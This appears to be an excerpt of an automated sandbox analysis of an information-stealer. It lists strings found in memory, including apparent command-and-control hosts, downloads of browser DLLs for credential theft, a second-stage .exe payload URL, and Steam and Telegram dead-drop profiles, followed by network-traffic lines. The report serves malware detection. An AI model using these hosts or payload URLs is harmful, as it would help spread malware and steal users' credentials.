Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.BKFHIDGCFBFC
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.GCFBFC
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/TZ
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgHJE
Source: VLSiVR4Qxs.exe, 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgare.com:80
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgbbb071b03nt-Disposition:
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoDGCFBFC
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/#
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/K
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/freebl3.dll
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/freebl3.dll~t
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/mozglue.dll
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/msvcp140.dll
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/nss3.dll
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/softokn3.dll
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000DE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/softokn3.dll=
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/sql.dll
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com/vcruntime140.dll
Source: VLSiVR4Qxs.exe, VLSiVR4Qxs.exe, 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80/sql.dll
Source: VLSiVR4Qxs.exe, 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80nfwqnfwovfdkhttps://steamcommunity.com/profiles/76561199780418869u5
Source: MSBuild.exe, 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lade.petperfectcare.com:80t-Disposition:
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2714480163.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
Source: MSBuild.exe, 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe1kkkk
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe3
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exeC
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000001.00000002.2737753513.000000001D71D000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: JJDBAE.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: JJDBAE.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: JJDBAE.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: JJDBAE.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: JJDBAE.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JJDBAE.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: JJDBAE.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSBuild.exe, 0000000C.00000002.2736549222.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exemplarou.sbs/
Source: MSBuild.exe, 0000000C.00000002.2736549222.0000000000BDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exemplarou.sbs/(
Source: MSBuild.exe, 0000000C.00000002.2736549222.0000000000BED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exemplarou.sbs/7y
Source: MSBuild.exe, 0000000C.00000002.2736549222.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exemplarou.sbs/B
Source: MSBuild.exe, 0000000C.00000002.2736549222.0000000000C10000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2736549222.0000000000C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exemplarou.sbs/api
Source: MSBuild.exe, 0000000C.00000002.2736549222.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exemplarou.sbs:443/api
Source: GDGHJE.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: VLSiVR4Qxs.exe, VLSiVR4Qxs.exe, 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: IDHIDB.1.dr	String found in binary or memory: https://support.mozilla.org
Source: IDHIDB.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IDHIDB.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: VLSiVR4Qxs.exe, VLSiVR4Qxs.exe, 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: VLSiVR4Qxs.exe, 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: MSBuild.exe, 00000001.00000002.2714480163.0000000000E78000.00000004.00000020.00020000.00000000.sdmp, GDGHJE.1.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: MSBuild.exe, 0000000C.00000002.2736549222.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: JJDBAE.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: JJDBAE.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: IDHIDB.1.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000001.00000002.2720887065.0000000017419000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IDHIDB.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: MSBuild.exe, 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/ost.exe
Source: MSBuild.exe, 00000001.00000002.2720887065.0000000017419000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: MSBuild.exe, 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/FHIECAFBAK
Source: IDHIDB.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: MSBuild.exe, 00000001.00000002.2720887065.0000000017419000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: IDHIDB.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MSBuild.exe, 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: IDHIDB.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: IDHIDB.1.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: MSBuild.exe, 00000001.00000002.2720887065.0000000017419000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: MSBuild.exe, 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: IDHIDB.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
